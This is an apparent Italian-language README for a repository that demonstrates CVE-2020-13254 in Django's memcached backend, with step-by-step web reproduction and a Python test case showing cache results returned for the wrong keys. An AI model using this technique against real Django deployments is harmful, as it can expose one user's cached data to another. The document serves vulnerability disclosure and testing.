Django CVE-2020-13254

Questo repository dimostra lo sfruttamento di CVE-2020-13254 in due modi – tramite un'interfaccia web e tramite un test case fallito.

Per maggiori dettagli visita:

https://danpalmer.me/2020-06-07-django-memcache-vulnerability/

Sfruttamento tramite il web

L'esempio fornisce un'interfaccia web con 2 moduli, uno che imposta i valori nella cache e l'altro che li recupera. Questi vengono direttamente tradotti in chiamate al backend della cache di Django. Poiché il codebase non implementa alcun sistema di sessione o autenticazione, utilizzi multipli nella stessa scheda del browser sono indistinguibili da utenti multipli che utilizzano macchine diverse.

Per sfruttare:

1. Imposta le chiavi A e B ai valori a e b.
2. Tenta di impostare C D al valore c d. Questo genererà un errore.
3. Tenta di recuperare la chiave A, non ci sarà erroneamente alcun risultato.
4. Tenta di recuperare la chiave B, il risultato sarà erroneamente a.

Demo tramite test

Questo processo può essere espresso come test case nel modo seguente:

from django.core.cache import cache
from django.test import TestCase


class CacheTests(TestCase):
    def test_cache(self):
        cache.set('k1', 'v1')
        cache.set('k2', 'v2')
        try:
            cache.set('a b', 'v3')
        except Exception:
            pass
        self.assertEqual(
            [
              cache.get(x) for x in
              ['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
            ],
            ['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
        )

Questo fallisce con il seguente errore:

=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
  File "tests.py", line 30, in test_cache
    'v1',
AssertionError: Lists differ

First differing element 0:
None
'v2'

- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
?  ------

+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
?                              ++++++

-------------------------------------------------------------

Dopo il set, i risultati della cache restituiti sono in disallineamento rispetto alle query effettuate.